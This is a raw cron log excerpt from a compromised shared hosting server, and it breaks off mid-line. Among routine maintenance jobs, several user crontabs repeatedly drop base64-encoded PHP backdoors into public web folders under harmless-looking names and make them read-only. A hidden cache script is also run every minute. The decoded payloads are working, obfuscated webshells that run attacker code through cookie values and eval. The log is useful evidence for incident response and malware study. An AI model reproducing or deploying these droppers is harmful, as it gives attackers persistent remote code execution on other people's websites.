Jun  7 12:38:01 medusa CROND[11918]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:38:01 medusa CROND[11922]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:38:01 medusa CROND[11923]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:38:01 medusa CROND[11931]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:39:02 medusa CROND[13762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:39:02 medusa CROND[13765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:39:02 medusa CROND[13766]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:39:02 medusa CROND[13767]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:39:02 medusa CROND[13768]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:39:02 medusa CROND[13770]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:39:02 medusa CROND[13769]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 12:39:02 medusa CROND[13772]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:39:02 medusa CROND[13782]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:39:02 medusa CROND[13783]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:39:02 medusa CROND[13786]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:39:02 medusa CROND[13788]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:39:02 medusa CROND[13789]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:39:02 medusa CROND[13790]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:40:01 medusa CROND[15698]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:40:01 medusa CROND[15708]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:40:02 medusa CROND[15719]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:40:02 medusa CROND[15720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 12:40:02 medusa CROND[15721]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:40:02 medusa CROND[15722]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:40:02 medusa CROND[15726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:40:02 medusa CROND[15725]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:40:02 medusa CROND[15727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:40:02 medusa CROND[15730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:40:02 medusa CROND[15729]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 12:40:02 medusa CROND[15732]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:40:02 medusa CROND[15733]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:40:02 medusa CROND[15734]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:40:02 medusa CROND[15741]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 12:40:02 medusa CROND[15740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:40:02 medusa CROND[15743]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:40:02 medusa CROND[15744]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:40:02 medusa CROND[15745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 